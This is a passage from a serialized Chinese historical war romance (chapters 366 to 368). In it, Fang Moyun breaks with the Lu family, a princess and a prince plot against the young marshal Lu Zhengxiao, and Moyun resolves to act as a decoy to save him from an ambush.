老太君的脸色瞬间一变，瞪大了眼睛：“你在说什么！”
茉云的嘴角微微扬起，露出一丝淡淡的笑意，那笑容冷漠得令人心生寒意：“您这么错愕地看着我是为何？我并不姓卢，并非卢家人，亦不是你卢家家将，不会对卢家事事不分缘由的顺从。”
老太君的身体瞬间僵住，愣在那里脸色一片苍白，她的嘴巴张了张，却什么话也说不出来。旁边的执礼也惊讶地望向茉云，眼中满是不可思议。
茉云冷静地扫视了一圈营帐内的人，眼中闪过一丝决绝：“我方茉云只不过是从属军中，曾以为卢家与我有共同的信仰，可如今看来，显然我错了。”
话音未落，萧怀逸终于忍不住，脸上的神色复杂而压抑：“方茉云，你知道自己在说什么吗？”
茉云的眼神依旧冰冷，好似没有任何东西能够动摇她的决心：“若卢家真想为万民平定南境，为什么当年的老卢帅要同意撤兵？几十年过去了，南境的百姓依旧遭受着生灵涂炭！”
她的话像刀锋一样锐利，狠狠地击中了每个人的内心。
“而现在呢？若卢家真想奉老卢帅之信念剿灭峑戎，那此刻你们又在做什么？为了那忠烈之名，关键战局之时，任由长公主、皇子和皇上轮番来军中搅局，不惜让卢家军十几万将士赴死？”
茉云冷冷地望了正啸一眼，眼神中没有一丝柔和，不等正啸质问于她，排山倒海的控诉已卷席而去。
“十皇子来军中，勾结敌人，意图害死军中良将，他连沧海都杀！我杀他，怎么了？你少帅却对他以命相救，你们卢家世世代代的门楣，怎么就那么重要？说什么为了万兆黎民，南境安康，都没有卢家的门楣吧？”
这一连串的话在控诉卢家为博得忠名，不惜以战局和将士性命做妥协，她的话如重锤砸向了众人，营帐内瞬间寂静无声，所有人的眼神都定格在茉云的身上，似乎连呼吸都变得沉重。
老太君的脸色苍白，好似被茉云的言语击得什么都说不出来。执礼和东山也吃惊地看着她，眼中充满了复杂与震惊。卢家军中从来不会有人质疑卢家……她的话，好似一场风暴即将席卷而来。
萧怀逸的目光瞬间变得沉重，他转头看向正啸，只见正啸的脸色愈发惨白，血色几乎消失，只有嘴唇微微发紫，似乎每一口气都隐匿着无法抑制的沉痛。
茉云继续望向老太君，语气愈加尖锐：“卢家世世代代说什么粉身碎骨，誓死剿灭峑戎。如今，又到了这关键时刻，却又开始了这番忠君爱国的戏码？若真是鞠躬尽瘁死而后已，当年老卢帅继续打下去能如何？如今，你们卢家不顾一切要打赢此战又能如何？可你们呢？哼，别想着留名青史，最后在史书上被人批注，‘道貌岸然’四个大字！”
老太君听罢，瞬间面色铁青，猛地一倒在背后的椅子上，眼中闪过一丝愤怒与无力，双手紧紧握住扶手，似乎被茉云的言辞彻底击垮，声音哽咽在喉间……
这时，连站在一旁的元帅也不知该如何反应，他看着茉云眼中满是复杂与沧桑。眉头紧蹙，似乎是无法相信是茉云说出这每一个字。
茉云言辞的尖锐，刺痛了在场所有人，整个营帐内的气氛变得压抑得几乎无法呼吸。
终于……是正啸的声音打破了沉默，他的语气冷厉而带着难以压抑的愤怒：“方茉云，即刻起，解除军职！”
茉云的眼神冷若冰霜，转身直视着正啸。
正啸咬紧牙关，声音低沉而带着不容置疑的气势：“滚出军营！”
茉云没有丝毫犹豫，冷冷地望着正啸，眼中亦没有任何情感波动。
她抬手举起了手中那把正啸母亲的剑，毫不留情地将它掷向空中，一脚便踹飞了剑。在众人惊诧的神情中，剑身划过一道弧线，剑柄狠狠撞击在地面，发出一声清脆的裂响，剑鞘居然裂了……
茉云冷冷一笑，没有再看正啸一眼地转身离开了。每一步都如同在宣告自己地决绝和失望。出营之后便跨上马背，一骑绝尘地离开了营地。
她没有回头，没有停顿，带着一种无法动摇的决心，走向她的选择。
营地内一片死寂，所有人都站在原地，无法动弹。正啸回到自己营帐中，身体已经摇摇欲坠，茉云如此狠戾地耗尽他此刻所有心力，他捂着自己的伤口，整个人无力支撑，重重地跌倒在地上，昏死过去……
而军营内，林宇静静地站在远处，目送着茉云的背影逐渐消失在视线尽头。只觉她那孤独的身影在烈阳下都显得格外孤寂，但她却如此决绝而坚定。
他心中莫名地泛起一股复杂的情绪，那股感觉如此沉重，好似有一根无形的线，牵引着他也去正视自己的初心。林宇深深吸了一口气，转过身来，目
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光投向了铁狮军的大军。
铁狮军旗帜在风中猎猎作响，林宇深知眼前的局势复杂且危险，难道自己真带领铁狮军卷入这不可预测的漩涡……
待他迈着沉重的步子回到了自己营帐之时，却发现一只鸽子笼置于自己案上，里面有一支羽翼洁白的信鸽，睁着灵动的双眼望向自己，他走近看见鸽笼旁边放着一张字条，上面只写着四个凌乱的大字——记得喂食。
林宇顿时无语的被逗笑了，望向茉云那字条沉默了良久，最终收下了信鸽，将字条点燃，看着字条燃尽，心里亦有了抉择……方茉云一女子都可为平定南境之信念付诸一切，何况他一个世代相传的铁狮军主帅呢？
就在此时，峑戎的大营之中，集益微微睁开了双眼，眼前依旧模糊不清，伤口的疼痛让他几乎无法动弹。可当他目光落在床边，看见幽戎就守在一旁。
他下意识旋即准备坐起身时，幽戎伸出一只手有力按住了他的肩膀，低沉的命令道：“躺好。”
集益望向正坐在自己的床边，神情淡然的幽戎，似乎一切都在他的掌控之中，急忙恭敬地说道：“大王。”
幽戎则一脸语气平淡地说道：“这里没人，不用大王大王的。”
“属下无能，求大王降罪。”集益微微停顿低下头，愧疚的说道。
幽戎居然被逗笑了，轻笑一声后，目光深深地望向集益：“你碰到的是方茉云，就是我都未必能全身而退。”
集益心中一震，他的眼神有些复杂，最终坦诚地说道：“是她放了我。”
幽戎眼中顿时闪过一丝深邃的光芒，他靠到椅背上，轻笑着摸了摸自己的头：“你知道就好。她啊，就是这种人！”
集益愣了半刻，他始终有些难以理解：“主子，我不懂！她为何放了我。”
幽戎的眼神飘向窗外，深深看了看外面那片渐暗的天际，眼底带着几分沧桑与痛楚：“因为她认定我会输，会死无葬身之地，只有你会听我的话，护着我儿子，辅佐他带领族人，放弃这所有的执念，远离这一切，去寻一方土地过新的生活。”
集益听了，心中一阵震动，目光久久停留在幽戎的身上……
幽戎轻轻地叹了口气，好似在释放自己内心的某种重负，但想起茉云便又嘴角微扬的说道：“她始终就是个这么鲜活的人，能说出世上最狠的话，却忍不住做世上最仁慈的事。”
集益的心中不禁感叹，沉默了片刻低声说道：“她……为我们的族人着想？”
幽戎转过头来看向集益，眼中闪过一丝温和的目光：“因为她知道，只有这样，峑戎才能放下了所有的执念，让一切真正平息，让无辜的人不再受这战乱所祸。”
集益沉默了片刻，忽然又问道；“那卢家军和他们朝廷若知道她放了我……”
幽戎顷刻被逗笑了：“她又哪会管这些！”
集益深吸一口气望向幽戎，他说的每一个字，都深深地刻在了他的心里：“主子，峑戎必胜！但您的话我明白了！”
幽戎轻轻微笑了，看向帐外夜幕渐渐降临的天际远方说道：“你若明白，就好。”
366.危局
卢家军的士气在茉云离营的那一刻一落千丈，再加上沧海重伤，正啸中箭，卢家军的士气受到了前所未有的打击。整个营地的战士们脸上浮现出难掩的焦虑和迷茫。
茉云再一次离营像一记重击，直击每个人的心灵，连元帅的脸上都写满了岁月的沧桑，好似一夜之间苍老了十岁。
然而，翌日清晨，随着朝阳初升，正啸却以一种几乎不可能的姿态出现在众将士面前，身披那身坚硬的铠甲。虽然面容依旧苍白，但那份刚正与坚韧却未曾消退分毫。
他站在队列前强忍着剧痛，指挥全军操练，整个军营仿佛被他的气场所震慑，士兵们的情绪渐渐复苏，心中那份对少帅的信任重新被点燃。
接着，正啸去看望了伤员，伤员们见到少帅前来纷纷动容。将士们心中坚信，少帅是战无不胜的，昨日中箭伤重，只需要一天休整，他的伤势便已痊愈，心中的那份希望又被激发到了极点。
午膳后，正啸去往了了沧海的帐篷，帐中弥漫着药草和血腥的味道。沧海躺在床上，伤势这般重，但他的脸上没有过多的痛苦，反而带着一丝坚毅的平静。
正啸走到床边，看着他那苍白虚弱的脸，眉头不由得紧蹙。
沧海见到正啸立即试图要起身，却被正啸轻轻拦住：“别动，好好歇着。”
威行站在一旁，立即上前小心的为沧海垫好枕头。
沧海目光落在正啸那疲惫不堪的双眼上，深深吸了一口气，嘴唇微微动了动，说道：“我无大碍，休整几日便好。”
正啸并没有立刻回应，而是沉默了片刻，眉头深深锁紧，良久之后才问：“人是故意让你入的敌军箭阵？”
沧海轻轻叹息了一口气，放低声音缓缓说道：“少帅，如此射程，以峑戎射手营的能耐，确实是不可能射不中首当其冲的人。”
正啸咬紧了牙关，脑海中不禁浮现的沧海当时险象环生的情形，脸上的愧疚与自责清晰可见：“是我不该，差点让你把命搭上了。”
沧海立即摇头，虽然伤痛让他有些呼吸急促，但他的语气依然如此坚定而坦率：“少帅切莫如此说，此番征战，我等早已将生死置之度外。”
威行站在一旁，听了这话，愤然地打断道：“沧海哥，可我们的命是用来保家卫国的，不该送在阴谋之中，这事不能就这么算了？”
沧海转头皱眉望向威行，眼中闪过一丝怒意：“休要再给少帅平添纷争，峑戎大战成败就在此一役。与其与他们纠缠不清，不如一鼓作气、不顾一切地完成使命。此时，我等全听命于少帅决断即可。”
威行听了顿时马上点点头，他虽不忿于兄弟们的遭遇，但也知道此刻必须统一意见。于是，他不再言语，静静地等着正啸的决断。
帐中众人皆沉默了良久，沧海看向正啸那心力憔悴的双眼，不禁宽慰道：“那丫头不过是心里有气，说话狠了几分，莫放心上！”
正啸双眉依旧紧锁，他抬头看向帐外，低声说道：“她不只是心里有火这么简单。”
沧海没有急于回应，而是闭上了眼睛亦叹了口气，其实了解茉云之人皆知，她一定不会就这么算了，何况她素来视沧海为兄长。
帐篷内的氛围显得格外沉重。正啸心中却充满了焦虑和无奈——茉云此番仅仅是因为愤怒，还有更加深沉的原因？她的心中到底隐藏着怎样的执念与打算？
但是众人心中都知，茉云行事，远非他人能轻易揣测和了解的。
探望完沧海，正啸回到自己营帐，他一个踉跄差点倒在了案几前，万莫和千山迅速冲上前，将他扶到床上。他的伤势并非表面看起来那样简单，痛苦已经渗透到了每一寸肌肉和骨骼，但他只能强忍着，不能在众将士们面前露出一丝伤情……
正啸靠在床头，目光却不由自主地移向床边那把被茉云摔坏的剑，眼中是深深的疲惫。他伸出手，手指无力地触碰到那把剑，四下无人之人，他才能显现自己心中痛楚，剑柄裂开——好似象征着茉云与自己，那份曾经的坚定承诺亦已破裂。
正啸低头闭上了眼睛，好似感受不到肩上的伤痛了，只觉内心疼得好似也裂开一般……
茉云一路日夜兼程地回到西明，夜幕已然降临，她到了西王爷府上，整个王府的院落被黑暗笼罩，唯有几盏灯笼微弱的光芒在风中摇曳。
她步入西王爷的书房时，屋内一片寂静，西王爷正端坐在桌前等她，茉云走到桌旁，缓缓坐下，她将事情全说给西王爷听，特别是关于十皇子所行之事，皇宫中那些错综复杂的阴谋与尔虞我诈，她都说的那么平静默然……
说完后，她沉默了，目光落在窗外漆黑的夜空，心中不知为何有些空洞，好似这一切不过是众人步入深渊的开始。
西王爷长长叹了口气，没有愤怒，眼中只透露出深深的无奈：“这便是皇位之争，为了那至尊之位，他们什么事都做得出来。”
他的语气亦如此平淡，只隐隐带着一丝无力感，身为皇家出生之人，他早已看尽了世间权谋最极致的残酷与血腥。
茉云亦没有回应，只是静静地凝视着窗外的黑夜，沉默蔓延在周遭，好似每个呼吸都压得他们更加沉重。
良久，西王爷才打破了这份沉寂，他转向茉云，眼中带着一丝复杂的神色：“你可知，若是卢家扳不倒太师，卢家永无宁日。”
茉云听后淡淡一笑，端起桌上的茶杯，冷静地说道：“王爷，卢家定然是扳不倒太师，若皇上不想太师倒，谁也扳不倒太师。”
西王爷听了这话眉头紧皱，显然也认同茉云的观点：“那你打算怎么解这一局？”
茉云眼中闪过一丝冷冽，嘴角微微上扬，露出一丝冷笑，目光直视西王爷：“西王爷觉得，怎么能让皇上愿意自己扳倒太师？”
西王爷愣了一下，显然被茉云的话语震动了，说道：“朝中皆知太师是皇上恩师，是皇上最为依仗之臣。”
茉云冷冷地说道：“或者说，谁能逼皇上对太师动手。”
西王爷看着茉云眼中那丝冷厉的笑容，顿时不知为何说不出话来，心中感到一阵寒意袭上心头。那笑容中透出的狠戾，好似能够穿透世间一切束缚，将所有都注入那无情的决心之中。
茉云放下茶杯，目光依旧冷静而坚定，她的声音中带着一种深沉的清醒：“西王爷，我知道，你是个重情重义之人，昔日正啸姑姑待你的兄嫂恩情，你铭记一生，我知道你一定要查太师，也是因为你这辈子就想知道她是怎么死的。”
西王爷愣了一下，眼中闪过一丝复杂的情感，缓缓点头，沉重地说道：“对，这也是我的私心。其实我知道，皇嫂在天之灵，肯定会怪我，卢家和正啸肯定都不希望你插手这些，可……”
茉云忽然畅然一笑，眼中闪过一丝复杂的光芒：“人生一世，谁又没有执念呢？达成了，一辈子就值了。你放心，我会让你知道的。”
西王爷眼眶有些微红看向茉云，眼
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中透出那份深藏已久的愤恨与无奈，他忍不住点了点头，可当他缓过神来，他低声说道：“茉云，天下怎么可能有人能逼我皇兄，还胁迫皇上对太师动手？”
此时，茉云的脸上终于透出了最狠戾的神情，她的眼睛如冰冷的刀锋，冷笑着说：“那您就等着看。”
而就在此刻，在卢家军军营之中，也是个暗深的夜，十皇子在营帐之中，坐立不安，脑海中翻滚着种种疑惑与困扰。这些日子以来，卢家军和正啸的态度变得越来越冷淡，甚至可以说充满了疏远与戒备。他明显能感觉到自己在他们心中的地位发生了变化，那种不安的情绪愈发加重，犹如阴云笼罩，挥之不去。
就在他焦虑之际，鸿音公主忽然造访。她步伐坚定走了进来，眼中带着无法忽视的锋芒，嘴角却挂着一种近乎讽刺的笑容，坐在十皇子对面，轻轻地告诉了他一件让他如坐针毡之事。
“十弟，据我在军中的探子来报，卢家军早已怀疑你勾结峑戎，不顾朝中大局，竟然企图以借此战，报复卢家。”
这个消息如同晴天霹雳，十皇子的脸色瞬间大变，眼中满是震惊与无辜的说道：“这，这简直是一派胡言。”
林宇冷冷地站在鸿音公主身旁，他的目光如冰，透过十皇子，可他心中满是深深厌恶，一个堂堂皇子，为了争夺皇位，竟与敌军勾结，祸害军国大事，如今还装作无辜，林宇一个亦是元帅世家出生的军中统帅，心中怎能不觉得寒冷和不屑。
鸿音公主微微一笑，眼中却透着不容忽视的狠戾：“十弟，你我就别再装了，我也开门见山，你我联手除掉卢正啸如何？日后你与我五弟再在朝堂上见真招。”
林宇听到这话，不禁愣住了，眼中闪过一丝错愕。他好像已经不认识眼前的王后了。那曾经聪慧、冷静、深沉的国后，如今竟然说出如此丧心病狂之言，眼中亦满是疯癫与野心。
十皇子强迫自己冷静下来，尽管心中愤怒与不安交织，但他依然保持着表面的镇定。
他抬起头，眼神有些困惑与不解地望向鸿音公主，反问道：“长姐，我不知道你何意，卢家可是待您有大恩，处处帮衬于您的呀。”
鸿音公主的嘴角勾起一抹冷笑，眼中闪过一丝狠戾的光芒：“我又岂会不识卢家那些虚伪的面孔，要知道他们将我五弟害得有多惨，逼得他几乎失去一切，如今那方茉云杀皇子、放敌将，他们却如此包庇于她，还算什么忠臣良将？”
十皇子若有所思的望向鸿音，在判断她言辞中几分真，几分假……
鸿音的语气愈加尖锐：“而且，方茉云日后是定会要置你我于死地的，特别是你，她和幽戎是什么不清不楚的关系想必你也知道，如今你不下手，日后她从幽戎那里拿到了证据，将此事捅到父皇那儿去，你可别怪长姐没法帮你了。”
这番话如同一记重锤，狠狠击打在十皇子的心头。他的脸色变得愈加苍白，但眼中却渐渐闪现出一丝狠戾的光芒。好似所有的伪装与掩饰在这一刻彻底崩塌……
十皇子深深吸了一口气，眼中闪过一丝冷意，他抬头直视鸿音公主，微微点了一下头，他的神情如此冷静，但在那份冷静中，隐隐透出了一股狠绝。
鸿音公主亦微微一笑点点头，眼中闪过一丝得意的光辉。
林宇站在一旁，则冷冷地望着他两，心中冰凉至极，拼命克制对这份伪善的厌恶，然而他却也不得不承认，如今已到了极度危局之下，眼下自己必须做出选择……
367.绝境
翌日的夜里，茉云静静地站在房前的屋檐下，目光落在青石板铺就的街道上，街道上已无人，偶尔几声夜鸟的啼叫，打破了这片寂静……
她的心思却似乎飘得很远，回到到很多年前，也是这个时节，他出现在了自己生命中……
突然间，一只白鸽拍打着翅膀飞了过来，轻轻落在屋檐下石阶上。茉云抬起头，眼中顿时闪过一丝深邃，旋即走了出去，轻轻地解下了它脚上的信。
指尖触及信纸时，茉云的心跳不由加快。展开信，信上赫然写着一行字——“他两欲合谋害卢”。
茉云猛然握紧信纸，随即心神一震，顿时好似要将牙都咬碎，拳头握紧得微微都有些颤抖。但片刻之后，她迅速冷静下来，眼神也变得愈发冷冽，她将目光望向天际，夜色如此浓重，她知道，这一切都已经到了最后一搏的时刻……
她的眼睛瞬间闪过一丝决然，没有再犹豫，走到屋内写好两封信，用最快的速度将两只信鸽放飞，一只飞向京城，另一只直奔南境。信鸽翅膀扇动的声音在夜空中回荡，似乎在预示着某种即将到来的风暴。
茉云收拾好一切骑上马背，马蹄声随着她的身影在寂静的夜里响起，渐渐消失在黑夜的尽头。她不顾一切地朝着军营的方向疾驰而去，风在她耳边呼啸，面对如此万恶而残忍的敌人，她心中再没有一丝犹豫。
与此同时，西王爷站在王府高台之上，他望向茉云离去的背影，心中充满了复杂的情绪，西王爷缓缓闭上了眼睛，心中默默念道：“最后一战来了，皇嫂，你在天之灵，一定要护佑他们！”
而卢家军中，这几日正值修整之际，军营中弥漫着一股压抑的氛围，茉云夜以继日的赶到了军营，可等待她的竟然是紧闭的营门……
正啸在军中发布了一道严令，方茉云不得进军营，命令犹如一道不可违背的铁令，令所有人都不得不遵从。润吉、威行他们都飞奔进正啸营中为她求情。
但茉云却未曾等待，冷冷地转身，眼中没有一丝波动，她已不愿再与他争执对错,真伪……就让事实来证明一切吧。
正当茉云走出不远之时，突然，一匹马的蹄声打破了夜的沉寂，是万莫骑马追了出来，手中紧握着一柄剑，那是正啸亲自修好的剑，剑身闪烁着冷冽的寒光。
万莫缓缓停下马，目光注视着茉云，坦诚的说道：“少主说，你可还记得当日从南卓回南关时，少主跟你说的话吗？”
茉云顿时愣了半刻，目光缓缓移向万莫，她的心中涌起一股难以言喻的情感，那是卢正啸第一次向她隐晦地表明心迹的时刻，他说——“方茉云，等等我，可否？”
这一句简单的话语，似乎在茉云的心中掀起了阵阵波澜。她深深吸了口气，最终接过了剑，这柄剑带着一丝无法言说的情愫。正啸并不是真的要赶她走，责怪她，只想她远离这些纷争，能安稳的等他归来，可……
茉云握紧剑柄，目光凝视着剑刃上的光芒，月光洒在她身上，好似想洗净她内心的所有挣扎与痛楚，却惘然……
因为茉云知道，哪怕她曾经无数次的期盼这份誓言能成真，但此刻，那曾经的坚守，却如同月光下的影像，渐渐模糊不清，对手太过狠毒，她没有选择，自己终究可能要失言了……
茉云低头却没有再说话，只是默默将剑收好，和万莫道别后，转身渐渐消失在夜色中。
接下来这几日，军营的氛围变得愈加扑朔迷离，突如其来的一道圣旨来了，急召十皇子回去。皇帝召回十皇子，这显然是因为他已经意识到，军中局势正逐渐超出他的掌控。
他的旨意中，还隐约透露出一丝焦虑，暗示卢家军要以大局为重，同时绝不能危及十皇子安全，故而元帅要派罗虎护送十皇子回西境，却被十皇子以战局为重的理由，拒绝了。
深夜，茉云却站在远处的小镇高坡之上，望着营中的灯火渐渐熄灭，心中无言的复杂情感再度涌上心头。她知道，这场风暴，已经无法回避。而她，将走到怎样的尽头，谁也无法预料……
翌日清晨十皇子便启程了，离开营帐不久，王强的属下急匆匆地赶到正啸营帐，眉头紧锁，语气中带着难掩的焦虑汇报道：“少帅，属下有紧急军情。铁狮军有一支队伍，方才暗自出营，方向正是十皇子回京的路。”
正啸眼神瞬间凝固，心中升起一股不安的预感，他马上派人去查。
不到一炷香的功夫，探营查实来报，鸿音公主和林宇也消失在营中，好似人间蒸发。
这个时候老太君和元帅也接到了消息，赶来仓皇不安的说道：“啸儿，鸿音那丫头只怕是陷入了癫狂，铁狮军若真的对十皇子下手，那……整个朝廷和西境边界都会掀起一场血雨腥风的混乱局面，你必须阻止此事！”
正啸的脸色沉了下来，他顾不上未愈的伤势，直接下令道：“穿鹿里将军和威行将军马上整队，随我出营！”
他没有任何时间犹豫，正啸只能忍着身上的伤痛，带队便出营追去。他们一路疾行，沿着十皇子的队伍踪迹追去，正啸心中却始终觉得隐隐不安。直到黄昏时分，正啸终于在远山道附近，听见了从山中传来的铁骑交锋声，那是峑戎铁骑的战鼓声，震天的喧嚣撕裂了傍晚的宁静。
正啸急速加快步伐，终于在视线尽头看到十皇子的两名亲兵从一条小道上仓皇奔来。他们见到正啸，立刻从马上滚了下来，急切地跪地哀求道：“少帅，十皇子被峑戎铁骑围追，躲入了山道，求您速速前去营救！”
正啸望向远处那片迷雾重重的山道，心头一紧。峑戎铁骑的声音愈发清晰，若不立即行动，十皇子的生命将岌岌可危。
此时，他望向威行道：“你立刻回营，调兵来援！”
威行眉头紧锁马上说道：“少帅，远山道中危险重重，您去也难以应对，我不能走。”
正啸深知威行的担忧，他瞪向威行声音变得愈加激烈：“威行，我有我的使命，你也有你的责任！这是军令！”
威行的目光里闪烁着深深的焦虑，他激动地一把拉住正啸回道：“少帅，您不能进去，恐有诈！若您有事，卢家军该如何是好，这仗还怎么打？”
正啸的声音顿时充满了愤怒与坚定：“没有我卢正啸，自古邪不胜正，卢家军亦能战胜峑戎。”
“少帅！”
鹿里一把拉过威行的臂膀说道：“威行，我随少帅入山，你回营搬救兵。你试想，皇子亲兵在此，若少帅放任皇子生死不顾，日后无论为人或为臣，皆难自处，亦会没命。”
威行愣了一下，眼中闪过一丝矛盾和不舍，但他听懂了鹿里的意思，此时正啸也没有选择……他深深吸了口气，最终松开了紧紧抓住正啸的手。
正啸没有再说话，目光坚定如铁。转身上马，迅速带领队伍前往远山道。<
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p>他踏入山谷的那一刻，他的心中便明白，这一切可能是一个精心设下的圈套。周围的山峦重重，峑戎的大军似乎早已在这片险峻的地带等候多时。幽戎的阴影仿佛笼罩在整个山谷之上，而他无法回头。
卢家军是朝廷之军，自己身为军中少帅决不能置十皇子的生死于不顾。他明白，如果十皇子死在了军中，这场战役便注定打不下去。朝廷会降下重责，而卢家军的士气也将崩溃，而这一战，所有人都将为此付出沉重的代价。
所以他心知肚明，哪怕这是一场险恶的陷阱。他也没有退路，只能进入陷阱，殊死一搏，任由老天抉择了……
十皇子见到正啸的那一刻，满脸惊慌失措，大声急呼：“少帅，不要管我，你快逃，来日带领大军剿灭峑戎，为我报仇就是！”
正啸微微蹙眉并没有应答半分，如此局势，亦容不得他多想。
就在这时，幽戎亲自现身出现在山谷，带着冷冷的笑容，他知道卢正啸的一切终将落入自己的掌控之中，这是他等了本生的一刻。
幽戎的箭如同猛兽的利爪般撕裂空气，直冲正啸而去。正啸猛地感受到一股剧痛，箭矢穿透了他的肩膀，他身体一震，几乎险些摔下马背。
他知晓，幽戎要的是他的命。然而，正啸并未选择停下，他毫不犹豫策马疾驰而去，他知道峑戎大军的目标只是他，离开队伍，其他人许还能活。
峑戎的大军立即放弃了追击十皇子，迅速疯狂地追击正啸而来，山谷间的风声呼啸，正啸的马蹄声和敌军的铁骑声交织在一起，回荡在空旷的山脉之间。
鹿里不顾一切的紧随正啸其后，但正啸显然已经伤重难行。所幸，夜幕渐渐降下，漆黑的山谷中使得搜寻变得难以为继，正啸和鹿里藏进了深山之中，暂时躲避了敌军的追击。
夜里山谷中，夜色愈发浓重，正啸早已力竭，虚弱地倒在一块巨石旁。
鹿里赶忙上前，焦急地扶住他：“少帅！”
正啸深深地吸了一口气，尽管伤势严重，他依旧强撑着坐起，目光坚定地看向鹿里：“鹿里，你听我说，卢家军没有我，也能战胜峑戎，告诉父帅，沧海伤好即可为大将军领军，震北和罗虎为副，这场战一定要打下去，不管如何都不能放弃。”
鹿里听后，眼中顿时红润，他一下跪倒在正啸面前，说道：“不，少帅，你千万不能放弃，我一定与您生死相随！”
正啸费力地撑起身体，强忍着剧痛，盯着鹿里的眼睛，低声说道：“你我自幼是兄弟，亦是上下属，你要将我遗命带回去！”
鹿里的眼中闪过一丝痛苦和惶恐，他紧咬着牙说道：“您不会有事的，您若有事，卢家军该怎么办？正啸哥，兄弟们该怎么办？茉云……她该如何面对？”
正啸的脸色瞬间变得更加沉重，眼中闪过一丝痛楚，他没有立即回答，而是缓缓抬头看向夜空，他深吸了一口气，好似在为这一切的牺牲与无奈做出最后的告别，他已无力支撑，可他终究有太多的放不下，在自己生命的最后一刻，身体的痛楚已让身躯麻木，而心里却仍痛得无以复加……哪怕再见她一面也好。
正当这片暗黑的山谷弥漫着无尽的沉默时，一道黑影突然从天而降袭来，几乎没有任何预兆，对正啸骤然一击，让他眼前一黑，身体猛地失去控制，随即倒在地上。鹿里惊愕地拔出长剑，刚想抵挡来者，却突然停住了脚步……
368.坠崖
鹿里定睛一看，顿时愣住了——是茉云。
她的身影如同夜色中的幽灵，冷静且迅猛，茉云旋即蹲在正啸身旁，帮他扎紧伤口，她的目光如此沉着，好似一切都尽在她的掌握之中。
鹿里看着茉云的背影，他的心也瞬间安定了几分，茉云此刻出现在正啸面前，出现在他们的命运交汇之处，那少帅定然是有救了……
茉云低头看着已经昏迷的正啸，眼中闪过一丝痛惜，语气却依旧冷漠决绝，低声说道：“卢正啸，我没想到，你竟然会如此轻易的交代自己。”
鹿里站在茉云面前，眼中闪过一丝挣扎问道：“这……到底是怎么回事？”
“怎么回事？”茉云冷冷的笑了说道，“鸿音公主和十皇子联起手来了，勾结峑戎，要杀你们少帅！”
鹿里咬牙望向茉云，这一切也足以印证他所有的怀疑，这一刻他也再无彷徨，明了当年那个忧国爱民的长公主早已不复存在，他深吸一口气，说道：“决不能让他们这些恶贼得逞，你快带少帅走。”
茉云轻轻被逗笑了，她站起身伸手取下披风，盖在正啸的身上，语气平淡却透着一股冷静：“这场大战，幽戎从头至尾都未现身，他等的就是这一刻一击致命，来收拾你们家少帅的。幽戎亲自来了，你却说得这般轻巧，你是觉得我插了翅膀，还是你家少帅当真有不死金身？”
鹿里顿时深吸一口气，眉头紧锁，心中充满了焦躁：“那该如何？”
茉云淡淡地拿起了剑，轻松地劈下身旁一排竹子，随后麻利地用背着的麻绳绑起竹筏，神色依旧冷静：“你听见水声了吗？从这里往下有条河流，水流异常湍急，下河顺着河流漂流不足两里，就有一个高约十丈的瀑布，随瀑布落入深潭，便脱离了山谷，或可逃出生天。”
鹿里听后，眼中闪过一丝希望，他急忙说道：“好，你带少帅走，我来殿后。”
茉云再次被逗笑了，这次笑容中透着一丝无奈与决然：“鹿里，你即便是此刻战神附体也没有办法一个人抵挡幽戎。我去吧，我会穿上卢正啸的战甲，引开他们，你带卢正啸走。”
鹿里愣住了，眼中带着一丝震惊，他直愣愣地望着茉云，似乎要从她的眼神中找到什么理由：“为……为何不能是你带少帅离开？”
“因为你不了解幽戎，挡不住他！”茉云目光依旧镇定，她望向鹿里一脸坦然而诚恳的说，“鹿里，你知道我，我方茉云此生从不求人，这一刻就当我求你，一定要带他离开，带他回到卢家军，让他活下来，只有卢正啸能带领卢家军还南境太平。”
她的话语如此平淡，却饱含着一股无法抗拒的力量，鹿里的心头一震，眼中闪过一丝痛苦与迷茫，他明白自己这一走，茉云将是九死一生……
他低下头沉思了片刻，深深吸了一口气，似乎在用力控制自己内心的混乱：“不……我……我不可能让你一个人去面临峑戎大军和幽戎，不行！少帅绝不会允许……”
而茉云眼中闪过一丝狠戾的光，她目光坚定地注视着鹿里，声音冷如刀锋：“鹿里，几位将军中你速来最精明，你应该感受到了，不论是战局和军心都是急转直下，这一战悬矣。”
鹿里抬目心力憔悴的望向茉云，心中充满了痛苦与挣扎，他何曾不知道，这一场必胜之战，却在鸿音公主和朝堂险恶之人的轮番搅局下，战斗的天平正在迅速倾斜：“那该怎么办？”
“只要你能带卢正啸脱离危险，回到军中，我有法子，一切将会迎刃而解。”茉云一脸风轻云淡的笑了说道。
“能将这一切力挽狂澜……”
“对！所以做你此刻该做的事！切莫迟疑！”茉云站在夜风中，衣袂飘动，眼中没有一丝动摇：“记住，这一战必须胜，只要南境能平，兄弟们祖祖辈辈的太平夙愿能达成，一切都值得。”
她的声音如夜风般冰冷，却带着无与伦比的坚定。她知道，只有这场战斗胜利，才能为南境带来希望，为卢家军争取到生存的机会，而其余的一切都已经不再重要了。
鹿里目光中充满了无尽的复杂，最终点了点头，他知道，茉云已经选择了自己的道路，而他也必须走自己的路。
月光直泻而下，茉云深深望向昏迷的卢正啸，神情如此安稳而宁静，忽然她轻轻的笑了，竟觉得有几分庆幸，还好自己还能见他一面……
翌日清晨，天空刚刚微亮，山谷间依旧弥漫着清晨的雾气，空气清冷而压抑。幽戎站在高处，俯视着四周的山谷，他的眼中闪烁着一丝冷冽的光芒。
顷刻间，幽戎扬起烈刀下令，声音嘹亮而有力：“全谷搜寻卢正啸！”
他的语气中带着不容置疑的命令，这一战，他已经等得太久，不可能再让卢正啸从他眼前溜走。
然而，就在他的命令刚刚落下时，突然，远处传来了一阵马蹄声，那声音在山谷中回荡，清晰可闻。
幽戎的目光猛地一凝，他微微侧头，冷冷一笑，好似早已料到这一刻的到来，卢正啸也不愧为自己这一生的敌人，最后一刻，他也还未放弃!
幽戎忽然仰天笑了，他的的笑容冷冽且残酷，但眼中却有一种莫名的赞赏，说道：“你倒是也没让我失望……”
他挥手示意，亲自带队追捕，顷刻间山谷里马蹄声急促，峑戎的铁骑如洪流般冲出，追击而去。
卢正啸的座骑烈儿在山谷中飞窜，带着卢正啸的身影，逃离着追兵的围堵。
幽戎紧追不舍，峑戎大军对卢正啸的追击早已到了近乎疯狂的程度。
卢正啸曾无数次在峑戎的杀手围剿下逃出生天，都快成了峑戎心中不死的噩梦。但这一次，幽戎决定不会再让他有任何生还的机会，整个山谷几乎被峑戎的大军围住，他已经逃无可逃。
